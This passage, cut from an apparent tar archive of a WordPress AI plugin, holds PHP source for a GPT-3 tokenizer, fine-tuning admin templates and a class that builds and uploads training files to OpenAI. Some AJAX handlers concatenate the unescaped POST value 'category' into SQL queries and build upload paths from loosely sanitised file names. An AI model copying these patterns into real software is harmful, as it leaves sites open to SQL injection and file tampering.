&& $this->cacheExists($token)) { return $this->cacheGet($token); } $chars = mb_str_split($token); $pairs = self::get_pairs($chars); if(!count($pairs)) { return implode(" ", $chars); } while (true) { $minPairs = []; foreach ($pairs as $pair) { $pairStr = implode(",", $pair); if (array_key_exists($pairStr, $this->bpe_ranks)) { $minPairs[$this->bpe_ranks[$pairStr]] = $pair; } else { $minPairs[10e10] = $pair; } } ksort($minPairs); $bigram = $minPairs[min(array_map(function($x) { return intval($x); }, array_keys($minPairs)))]; $bigramStr = implode(",", $bigram); if (!array_key_exists($bigramStr, $this->bpe_ranks)) { break; } $first = $bigram[0]; $second = $bigram[1]; $new_word = array(); $i = 0; while ($i < count($chars)) { $j = array_search($first, array_slice($chars, $i)); if ($j === false) { $new_word = array_merge($new_word, array_slice($chars, $i)); break; } $new_word = array_merge($new_word, array_slice($chars, $i, $j)); $i = $i + $j; if ($chars[$i] === $first && $i < count($chars) - 1 && $chars[$i + 1] === $second) { $new_word[] = $first . $second; $i = $i + 2; } else { $new_word[] = $chars[$i]; $i++; } } $chars = $new_word; if (count($chars) === 1) { break; } else { $pairs = self::get_pairs($chars); } } $result = implode(" ", $chars); if($this->useCache) { $this->cacheSet($token, $result); } return $result; } public function encode(string $text): array { $byte_encoder = self::bytes_to_unicode(); $bpe_tokens = array(); $matches = array(); preg_match_all(self::PAT_REGEX, $text, $matches); foreach ($matches[0] as $token) { $token = implode(array_map(function($x) use ($byte_encoder) { return $byte_encoder[$x]; }, self::encodeStr($token))); $new_tokens = array_map(function($x) { return $this->vocab[$x]; }, explode(' ', $this->bpe($token))); $bpe_tokens = array_merge($bpe_tokens, $new_tokens); } return $bpe_tokens; } /** * Encodes a given text into chunks of Byte-Pair Encoded (BPE) tokens, with each chunk containing a specified * maximum number of tokens. * @param string $text The input text to be encoded. * @param int $maxTokenPerChunk The maximum number of tokens allowed per chunk. * @return int[][] An array of arrays containing BPE token chunks. */ public function encodeInChunks(string $text, int $maxTokenPerChunk): array { $byte_encoder = self::bytes_to_unicode(); $bpe_tokens_chunks = array(); $bpe_tokens_current_chunk = array(); $matches = array(); preg_match_all(self::PAT_REGEX, $text, $matches); foreach ($matches[0] as $token) { $token = implode(array_map(function($x) use ($byte_encoder) { return $byte_encoder[$x]; }, self::encodeStr($token))); $new_tokens = array_map(function($x) { return $this->vocab[$x]; }, explode(' ', $this->bpe($token))); if ((count($bpe_tokens_current_chunk) + count($new_tokens)) > $maxTokenPerChunk) { $bpe_tokens_chunks[] = $bpe_tokens_current_chunk; $bpe_tokens_current_chunk = array(); } $bpe_tokens_current_chunk = array_merge($bpe_tokens_current_chunk, $new_tokens); } if (count($bpe_tokens_current_chunk) > 0) { $bpe_tokens_chunks[] = $bpe_tokens_current_chunk; } return $bpe_tokens_chunks; } /** * Takes a given text and chunks it into encoded segments, with each segment containing a specified maximum * number of tokens. * @param string $text The input text to be encoded. * @param int $maxTokenPerChunk The maximum number of tokens allowed per chunk. * @return string[] An array of strings containing the encoded text. */ public function chunk(string $text, int $maxTokenPerChunk): array { return array_map( [$this, 'decode'], $this->encodeInChunks($text, $maxTokenPerChunk) ); } public function decode(array $tokens): string { $decoder = array_flip($this->vocab); $byte_decoder = array_flip(self::bytes_to_unicode()); $text = array_map(function($x) use ($decoder) { return $decoder[$x]; }, $tokens); $text = implode($text); $chars = mb_str_split($text); $decodedChars = array(); for ($i = 0; $i < count($chars); $i++) { $decodedChars[] = $byte_decoder[$chars[$i]]; } return self::decodeStr($decodedChars); } public function count(string $text): int { $tokens = self::encode($text); return count($tokens); } } �����������������������������������������������������������������������������������������������������������������������������������������������res/tokenizer/Merges.php����������������������������������������������������������������������������0000644�����������������00000001462�14757771437�0011333 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Gioni06\Gpt3Tokenizer; class Merges { public function __construct(private string $path = __DIR__ . '/pretrained_vocab_files/merges.txt') { } public function bpeMerges(): array { $lines = []; $fp = @fopen($this->path, "r"); if ($fp) { // drop the first line of the buffer fgets($fp, 300); while (($buffer = fgets($fp, 300)) !== false) { $line = array_filter(preg_split("/(\s+)/", $buffer), function($e) { return strlen(trim($e)) > 0; }); $lines[] = $line; } if (!feof($fp)) { throw new Exception("Error: unexpected fgets() fail\n"); } fclose($fp); } return $lines; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/tokenizer/Gpt3TokenizerConfig.php���������������������������������������������������������������0000644�����������������00000001414�14757771437�0013744 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Gioni06\Gpt3Tokenizer; class Gpt3TokenizerConfig { private array $config = [ 'mergesPath' => __DIR__ . '/pretrained_vocab_files/merges.txt', 'vocabPath' => __DIR__ . '/pretrained_vocab_files/vocab.json', 'useCache' => true, ]; public function mergesPath($path): Gpt3TokenizerConfig { $this->config['mergesPath'] = $path; return $this; } public function vocabPath($path): Gpt3TokenizerConfig { $this->config['vocabPath'] = $path; return $this; } public function useCache($useCache): Gpt3TokenizerConfig { $this->config['useCache'] = $useCache; return $this; } public function getConfig(): array { return $this->config; } }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/tokenizer/Vocab.php�����������������������������������������������������������������������������0000644�����������������00000001433�14757771437�0011141 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Gioni06\Gpt3Tokenizer; class Vocab { private $vocab; public function __construct(string $path = __DIR__ . '/pretrained_vocab_files/vocab.json') { $this->vocab = array(); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $contx = $wp_filesystem->get_contents($path); if($contx !== false) { $jsx = json_decode($contx, true); if($jsx !== false) { $this->vocab = $jsx; } } } public function data(): mixed { return $this->vocab; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/training/result_files.php�����������������������������������������������������������������������0000644�����������������00000002776�14757771437�0012423 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) exit; ?> <div class="aiomatic-modal-content"> <?php if(isset($aiomatic_data) && is_array($aiomatic_data) && count($aiomatic_data)): ?> <table class="wp-list-table widefat fixed striped table-view-list comments"> <thead> <tr> <th>ID</th> <th>Purpose</th> <th>Created At</th> <th>Filename</th> <th>Status</th> <th>Download</th> </tr> </thead> <tbody> <?php foreach($aiomatic_data as $item) { if(is_object($item)) { ?> <tr> <td><?php echo esc_html($item->id)?></td> <td><?php echo esc_html($item->purpose)?></td> <td><?php echo esc_html(date('Y-m-d H:i:s',$item->created_at))?></td> <td><?php echo esc_html($item->filename)?></td> <td><?php echo esc_html($item->status)?></td> <td><a download="download" href="<?php echo admin_url('admin-ajax.php?action=aiomatic_download&id='.$item->id)?>">Download</a></td> </tr> <?php } else { ?> <tr> <td>-</td> <td>-</td> <td>-</td> <td><?php echo esc_html(print_r($item, true))?></td> <td>-</td> <td>-</td> </tr> <?php } } ?> </tbody> </table> <?php else: ?> Fine-tuning has not yet been completed. <?php endif; ?> </div> ��res/training/events.php�����������������������������������������������������������������������������0000644�����������������00000002133�14757771437�0011212 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) exit; ?> <div class="aiomatic-modal-content"> <?php if(isset($aiomatic_data) && is_object($aiomatic_data)): ?> <table class="wp-list-table widefat fixed striped table-view-list comments"> <thead> <tr> <th>Object</th> <th>ID</th> <th>Created At</th> <th>Model</th> <th>Trained Tokens</th> </tr> </thead> <tbody> <tr> <td><?php echo esc_html($aiomatic_data->object)?></td> <td><?php echo esc_html($aiomatic_data->id)?></td> <td><?php echo esc_html(date('Y-m-d H:i:s',$aiomatic_data->created_at))?></td> <td><?php echo esc_html($aiomatic_data->model)?></td> <td><?php echo esc_html($aiomatic_data->trained_tokens)?></td> </tr> </tbody> </table> <?php else: ?> No events <?php endif; ?> </div> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/training/hyperparameters.php��������������������������������������������������������������������0000644�����������������00000001265�14757771437�0013126 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) exit; ?> <?php if(isset($aiomatic_data->n_epochs)) { ?> <p><strong>Epochs: </strong><?php echo esc_html($aiomatic_data->n_epochs);?></p> <?php } if(isset($aiomatic_data->batch_size)) { ?> <p><strong>Batch size: </strong><?php echo esc_html($aiomatic_data->batch_size);?></p> <?php } if(isset($aiomatic_data->prompt_loss_weight)) { ?> <p><strong>Prompt loss weight: </strong><?php echo esc_html($aiomatic_data->prompt_loss_weight);?></p> <?php } if(isset($aiomatic_data->learning_rate_multiplier)) { ?> <p><strong>Learning rate multiplier: </strong><?php echo esc_html($aiomatic_data->learning_rate_multiplier);?></p> <?php } ?> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/training/training_file.php����������������������������������������������������������������������0000644�����������������00000001301�14757771437�0012514 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) exit; ?> <div class="aiomatic-modal-content"> <table class="wp-list-table widefat fixed striped table-view-list comments"> <thead> <tr> <th>ID</th> <th>Purpose</th> <th>Size</th> <th>Created At</th> <th>Filename</th> <th>Status</th> </tr> </thead> <tbody> <tr> <td>-</td> <td>-</td> <td>-</td> <td>-</td> <td><?php echo esc_html($aiomatic_data)?></td> <td>-</td> </tr> </tbody> </table> </div> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-finetune.php���������������������������������������������������������������������������0000644�����������������00000262027�14757771437�0011506 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php use AiomaticOpenAI\OpenAi\OpenAi; if(!class_exists('AiomaticFineTune')) { class AiomaticFineTune { private static $instance = null ; public $aiomatic_max_file_size = 10485760; public static function get_instance() { if ( is_null( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } public function __construct() { require_once (dirname(__FILE__) . "/openai/Url.php"); require_once (dirname(__FILE__) . "/openai/OpenAi.php"); add_action('wp_ajax_aiomatic_finetune_upload', [$this,'aiomatic_finetune_upload']); add_action('wp_ajax_aiomatic_get_finetune_file', [$this,'aiomatic_get_finetune_file']); add_action('wp_ajax_aiomatic_get_finetune', [$this,'aiomatic_get_finetune']); add_action('wp_ajax_aiomatic_create_finetune', [$this,'aiomatic_create_finetune']); add_action('wp_ajax_aiomatic_finetune_events', [$this,'aiomatic_finetune_events']); add_action('wp_ajax_aiomatic_delete_finetune_file', [$this,'aiomatic_delete_finetune_file']); add_action('wp_ajax_aiomatic_delete_finetune', [$this,'aiomatic_delete_finetune']); add_action('wp_ajax_aiomatic_cancel_finetune', [$this,'aiomatic_cancel_finetune']); add_action('wp_ajax_aiomatic_other_finetune', [$this,'aiomatic_other_finetune']); add_action('wp_ajax_aiomatic_fetch_finetunes', [$this,'aiomatic_finetunes']); add_action('wp_ajax_aiomatic_fetch_finetune_files', [$this,'aiomatic_files']); add_action('wp_ajax_aiomatic_download', [$this,'aiomatic_download']); add_action('wp_ajax_aiomatic_create_finetune_modal', [$this,'aiomatic_create_finetune_modal']); add_action('wp_ajax_aiomatic_data_converter_count',[$this,'aiomatic_data_converter_count']); add_action('wp_ajax_aiomatic_data_converter',[$this,'aiomatic_data_converter']); add_action('wp_ajax_aiomatic_upload_convert',[$this,'aiomatic_upload_convert']); add_action('wp_ajax_aiomatic_upload_convert_batch',[$this,'aiomatic_upload_convert_batch']); add_action('wp_ajax_aiomatic_data_insert',[$this,'aiomatic_data_insert']); add_action('wp_ajax_aiomatic_data_insert_batch',[$this,'aiomatic_data_insert_batch']); add_action('wp_ajax_aiomatic_new_data_insert',[$this,'aiomatic_new_data_insert']); add_action('wp_ajax_aiomatic_new_data_batch_insert',[$this,'aiomatic_new_data_batch_insert']); add_action('wp_ajax_aiomatic_file_delete',[$this,'aiomatic_file_delete']); } public function aiomaticUploadOpenAI($file, $open_ai, $purpose = 'fine-tune') { $model = isset($_POST['model']) && !empty($_POST['model']) ? sanitize_text_field($_POST['model']) : 'gpt-4o-mini'; $name = isset($_POST['custom']) && !empty($_POST['custom']) ? sanitize_title($_POST['custom']) : ''; $c_file = curl_file_create($file, mime_content_type($file),basename($file)); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->uploadFile(array( 'purpose' => $purpose, 'file' => $c_file, )); $result = json_decode($result); if(isset($result->error->message)){ return trim($result->error->message); } else{ $aiomatic_file_id = wp_insert_post(array( 'post_title' => $result->id, 'post_date' => date('Y-m-d H:i:s',$result->created_at), 'post_status' => 'publish', 'post_type' => 'aiomatic_file', )); if(!is_wp_error($aiomatic_file_id)){ if($aiomatic_file_id === 0) { return 'An error occured when inserting finetune into the database!'; } add_post_meta($aiomatic_file_id, 'aiomatic_filename',$result->filename); add_post_meta($aiomatic_file_id, 'aiomatic_purpose',$result->purpose); add_post_meta($aiomatic_file_id, 'aiomatic_model',$model); add_post_meta($aiomatic_file_id, 'aiomatic_custom_name',$name); add_post_meta($aiomatic_file_id, 'aiomatic_file_size',$result->bytes); } else{ return $aiomatic_file_id->get_error_message(); } return 'success'; } } public function aiomatic_data_insert() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error','msg' => 'Something went wrong with finetuning data insertion'); if( isset($_POST['prompt']) && !empty($_POST['prompt']) && isset($_POST['completion']) && !empty($_POST['completion']) ){ $data = array( 'prompt' => sanitize_text_field($_POST['prompt']), 'completion' => ' ' . strip_tags(sanitize_text_field($_POST['completion'])) ); $file = isset($_POST['file']) && !empty($_POST['file']) ? sanitize_text_field($_POST['file']).'.jsonl' : md5(time()).'.jsonl'; $aiomatic_json_file = fopen(wp_upload_dir()['basedir'].'/'.$file, "a"); fwrite($aiomatic_json_file, json_encode($data) . PHP_EOL); fclose($aiomatic_json_file); $aiomatic_result['file'] = $file; $aiomatic_result['status'] = 'success'; } wp_send_json($aiomatic_result); } public function aiomatic_data_insert_batch() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error','msg' => 'Something went wrong with batch data insertion'); if( isset($_POST['js_list']) && !empty($_POST['js_list']) ){ $data = trim(stripslashes($_POST['js_list']), '" '); $file = isset($_POST['file']) && !empty($_POST['file']) ? sanitize_text_field($_POST['file']).'.jsonl' : md5(time()).'.jsonl'; $aiomatic_json_file = fopen(wp_upload_dir()['basedir'].'/'.$file, "a"); fwrite($aiomatic_json_file, trim($data)); fclose($aiomatic_json_file); $aiomatic_result['file'] = $file; $aiomatic_result['status'] = 'success'; } wp_send_json($aiomatic_result); } public function aiomatic_new_data_insert() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error','msg' => 'Something went wrong with finetuning data insertion'); if( isset($_POST['prompt']) && !empty($_POST['prompt']) && isset($_POST['completion']) && !empty($_POST['completion']) && isset($_POST['system']) && !empty($_POST['system']) ){ $data = array('messages' => array( array('role' => 'system', 'content' => sanitize_text_field($_POST['system'])), array('role' => 'user', 'content' => sanitize_text_field($_POST['prompt'])), array('role' => 'assistant', 'content' => sanitize_text_field($_POST['completion'])) )); $file = isset($_POST['file']) && !empty($_POST['file']) ? sanitize_text_field($_POST['file']).'.jsonl' : md5(time()).'.jsonl'; $aiomatic_json_file = fopen(wp_upload_dir()['basedir'].'/'.$file, "a"); fwrite($aiomatic_json_file, json_encode($data) . PHP_EOL); fclose($aiomatic_json_file); $aiomatic_result['file'] = $file; $aiomatic_result['status'] = 'success'; } wp_send_json($aiomatic_result); } public function aiomatic_new_data_batch_insert() { check_ajax_referer('openai-ajax-nonce', 'nonce'); $aiomatic_result = array('status' => 'error','msg' => 'Something went wrong with batch data insertion'); if( isset($_POST['js_list']) && !empty($_POST['js_list']) ){ $data = trim(stripslashes($_POST['js_list']), '" '); $file = isset($_POST['file']) && !empty($_POST['file']) ? sanitize_text_field($_POST['file']).'.jsonl' : md5(time()).'.jsonl'; $aiomatic_json_file = fopen(wp_upload_dir()['basedir'].'/'.$file, "a"); fwrite($aiomatic_json_file, trim($data)); fclose($aiomatic_json_file); $aiomatic_result['file'] = $file; $aiomatic_result['status'] = 'success'; } wp_send_json($aiomatic_result); } public function aiomatic_file_delete() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error','msg' => 'Something went wrong with finetuning file deletion'); if(isset($_POST['file']) && !empty($_POST['file'])) { $file = sanitize_text_field($_POST['file']); global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $zafile = wp_upload_dir()['basedir']. '/' . $file; if ($wp_filesystem->exists($zafile)) { $wp_filesystem->delete($zafile); $xposts = get_posts( array( 'post_type' => 'aiomatic_convert', 'title' => html_entity_decode($file), 'post_status' => 'all', 'numberposts' => 1, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'orderby' => 'post_date ID', 'order' => 'ASC', ) ); if ( ! empty( $xposts ) ) { $zap = $xposts[0]; } else { $zap = null; } if($zap !== null) { wp_delete_post($zap->ID, true); } $aiomatic_result['file'] = $file; $aiomatic_result['status'] = 'success'; } } wp_send_json($aiomatic_result); } public function aiomatic_upload_convert() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error','msg' => 'Something went wrong with finetuning upload conversion'); if( isset($_POST['file']) && !empty($_POST['file']) ){ $filename = sanitize_text_field($_POST['file']); $line = isset($_POST['line']) && !empty($_POST['line']) ? sanitize_text_field($_POST['line']) : 0; $index = isset($_POST['index']) && !empty($_POST['index']) ? sanitize_text_field($_POST['index']) : 1; $file = wp_upload_dir()['basedir'].'/'.$filename; global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } if($wp_filesystem->exists($file)){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'Missing API Setting'; } else { if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $aiomatic_lines = file($file); $aiomatic_file_size = filesize($file); if ($aiomatic_file_size < $this->aiomatic_max_file_size) { $result = $this->aiomaticUploadOpenAI($file, $open_ai, 'fine-tune'); $aiomatic_result['next'] = 'DONE'; } else { $filename = str_replace('.jsonl','',$filename); $filename = $filename.'-'.$index.'.jsonl'; try { $split_file = wp_upload_dir()['basedir'].'/'.$filename; $aiomatic_json_file = fopen($split_file, "a"); $aiomatic_content = ''; for($i = $line; $i <= count($aiomatic_lines);$i++){ if($i == count($aiomatic_lines)){ $aiomatic_content .= $aiomatic_lines[$i]; $aiomatic_result['next'] = 'DONE'; } else{ if(mb_strlen($aiomatic_content, '8bit') > $this->aiomatic_max_file_size){ $aiomatic_result['next'] = $i+1; break; } else{ $aiomatic_content .= $aiomatic_lines[$i]; } } } fwrite($aiomatic_json_file,$aiomatic_content); fclose($aiomatic_json_file); $result = $this->aiomaticUploadOpenAI($split_file, $open_ai, 'fine-tune'); unlink($split_file); } catch (\Exception $exception){ $result = $exception->getMessage(); } } if($result == 'success'){ $aiomatic_result['status'] = 'success'; } else{ $aiomatic_result['msg'] = $result; } } } else $aiomatic_result['msg'] = 'The file has been removed'; } wp_send_json($aiomatic_result); } public function aiomatic_upload_convert_batch() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error','msg' => 'Something went wrong with batch upload conversion'); if( isset($_POST['file']) && !empty($_POST['file']) ){ $filename = sanitize_text_field($_POST['file']); $line = isset($_POST['line']) && !empty($_POST['line']) ? sanitize_text_field($_POST['line']) : 0; $index = isset($_POST['index']) && !empty($_POST['index']) ? sanitize_text_field($_POST['index']) : 1; $file = wp_upload_dir()['basedir'].'/'.$filename; global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } if($wp_filesystem->exists($file)){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { $aiomatic_result['msg'] = 'Missing API Setting'; } else { if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for batches.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $aiomatic_lines = file($file); $aiomatic_file_size = filesize($file); if ($aiomatic_file_size < $this->aiomatic_max_file_size) { $result = $this->aiomaticUploadOpenAI($file, $open_ai, 'batch'); $aiomatic_result['next'] = 'DONE'; } else { $filename = str_replace('.jsonl','',$filename); $filename = $filename.'-'.$index.'.jsonl'; try { $split_file = wp_upload_dir()['basedir'].'/'.$filename; $aiomatic_json_file = fopen($split_file, "a"); $aiomatic_content = ''; for($i = $line; $i <= count($aiomatic_lines);$i++){ if($i == count($aiomatic_lines)){ $aiomatic_content .= $aiomatic_lines[$i]; $aiomatic_result['next'] = 'DONE'; } else{ if(mb_strlen($aiomatic_content, '8bit') > $this->aiomatic_max_file_size){ $aiomatic_result['next'] = $i+1; break; } else{ $aiomatic_content .= $aiomatic_lines[$i]; } } } fwrite($aiomatic_json_file,$aiomatic_content); fclose($aiomatic_json_file); $result = $this->aiomaticUploadOpenAI($split_file, $open_ai, 'batch'); unlink($split_file); } catch (\Exception $exception){ $result = $exception->getMessage(); } } if($result == 'success'){ $aiomatic_result['status'] = 'success'; } else{ $aiomatic_result['msg'] = $result; } } } else $aiomatic_result['msg'] = 'The file has been removed'; } wp_send_json($aiomatic_result); } public function sanitize_text_or_array_field($array_or_string) { if (is_string($array_or_string)) { $array_or_string = sanitize_text_field($array_or_string); } elseif (is_array($array_or_string)) { foreach ($array_or_string as $key => &$value) { if (is_array($value)) { $value = $this->sanitize_text_or_array_field($value); } else { $value = sanitize_text_field($value); } } } return $array_or_string; } public function aiomatic_data_converter_count() { check_ajax_referer('openai-training-nonce', 'nonce'); global $wpdb; $aiomatic_result = array('status' => 'error','msg' => 'Something went wrong with finetuning data conversion counter'); if(isset($_POST['data']) && is_array($_POST['data']) && count($_POST['data'])){ $get_value = 'post_excerpt'; if(isset($_POST['content_excerpt'])) { if($_POST['content_excerpt'] == 'post_excerpt' || $_POST['content_excerpt'] == 'post_content') { $get_value = $_POST['content_excerpt']; } } if(isset($_POST['category']) && trim($_POST['category']) != '') { $category = trim($_POST['category']); } else { $category = ''; } $types = $this->sanitize_text_or_array_field($_POST['data']); $sql = "SELECT COUNT(*) FROM " . $wpdb->posts; if($category != '') { $sql .= " LEFT JOIN " . $wpdb->term_relationships . " as t ON ID = t.object_id"; } $sql .= " WHERE post_status='publish' AND post_type IN ('".implode("','",$types)."')"; if($category != '') { $sql .= ' AND t.term_taxonomy_id = ' . $category; } $aiomatic_result['count'] = $wpdb->get_var($sql); $aiomatic_result['status'] = 'success'; $aiomatic_result['types'] = $types; $aiomatic_result['category'] = $category; $aiomatic_result['content_excerpt'] = $get_value; } else { $aiomatic_result['msg'] = 'Please select least one data to convert'; } wp_send_json($aiomatic_result); } public function aiomatic_data_converter() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error','msg' => 'Something went wrong with finetuning data converter'); global $wpdb; if( isset($_POST['types']) && is_array($_POST['types']) && count($_POST['types']) && isset($_POST['per_page']) && !empty($_POST['per_page']) && isset($_POST['total']) && !empty($_POST['total']) ){ $get_value = 'post_excerpt'; if(isset($_POST['content_excerpt'])) { if($_POST['content_excerpt'] == 'post_excerpt' || $_POST['content_excerpt'] == 'post_content') { $get_value = $_POST['content_excerpt']; } } $types = $this->sanitize_text_or_array_field($_POST['types']); $aiomatic_total = sanitize_text_field($_POST['total']); $aiomatic_per_page = sanitize_text_field($_POST['per_page']); $aiomatic_page = isset($_POST['page']) && !empty($_POST['page']) ? sanitize_text_field($_POST['page']) : 1; if(isset($_POST['file']) && !empty($_POST['file'])){ $aiomatic_file = sanitize_text_field($_POST['file']); } else{ $aiomatic_file = md5(time()).'.jsonl'; } if(isset($_POST['id']) && !empty($_POST['id'])){ $aiomatic_convert_id = sanitize_text_field($_POST['id']); } else{ $aiomatic_convert_id = wp_insert_post(array( 'post_title' => $aiomatic_file, 'post_type' => 'aiomatic_convert', 'post_status' => 'publish' )); if($aiomatic_convert_id === 0) { $aiomatic_result['msg'] = 'Failed to insert conversion into database.'; wp_send_json($aiomatic_result); } elseif(is_wp_error($aiomatic_convert_id)) { $aiomatic_result['msg'] = 'WP error occurred when inserting conversion: ' . $aiomatic_convert_id->get_error_message(); wp_send_json($aiomatic_result); } } try { $aiomatic_json_file = fopen(wp_upload_dir()['basedir'].'/'.$aiomatic_file, "a"); $aiomatic_offset = ( $aiomatic_page * $aiomatic_per_page ) - $aiomatic_per_page; $sql = "SELECT post_title, " . $get_value . " FROM " . $wpdb->posts; if(isset($_POST['category']) && trim($_POST['category']) != '') { $sql .= " LEFT JOIN " . $wpdb->term_relationships . " as t ON ID = t.object_id"; } $sql .= " WHERE post_status='publish' AND post_type IN ('".implode("','",$types)."')"; if(isset($_POST['category']) && trim($_POST['category']) != '') { $sql .= ' AND t.term_taxonomy_id = ' . trim($_POST['category']); } $sql .= " ORDER BY post_date ASC LIMIT ".$aiomatic_offset.",".$aiomatic_per_page; $aiomatic_data = $wpdb->get_results($sql); if($aiomatic_data && is_array($aiomatic_data) && count($aiomatic_data)){ foreach($aiomatic_data as $item){ if($get_value == 'post_content') { $data = array( "prompt" => $item->post_title, "completion" => ' ' . strip_shortcodes(strip_tags($item->post_content)) ); } else { $data = array( "prompt" => $item->post_title, "completion" => ' ' . strip_shortcodes(strip_tags($item->post_excerpt)) ); } fwrite($aiomatic_json_file, json_encode($data) . PHP_EOL); } } fclose($aiomatic_json_file); $aiomatic_max_page = ceil($aiomatic_total / $aiomatic_per_page); if($aiomatic_max_page == $aiomatic_page){ $aiomatic_result['next_page'] = 'DONE'; wp_update_post(array( 'ID' => $aiomatic_convert_id, 'post_modified' => date('Y-m-d H:i:s') )); } else{ $aiomatic_result['next_page'] = $aiomatic_page+1; } $aiomatic_result['file'] = $aiomatic_file; $aiomatic_result['id'] = $aiomatic_convert_id; $aiomatic_result['status'] = 'success'; } catch (\Exception $exception){ $aiomatic_result['msg'] = $exception->getMessage(); } } else { $aiomatic_result['msg'] = 'Please select least one data to convert'; } wp_send_json($aiomatic_result); } public function aiomatic_create_finetune_modal() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning modal'); $models = $this->aiomatic_get_models(); if(is_array($models)){ $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $models; } else{ $aiomatic_result['status'] = 'error'; $aiomatic_result['msg'] = $models; } wp_send_json($aiomatic_result); } public function aiomatic_get_models() { $result = false; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { return array(); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if ($open_ai) { if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { 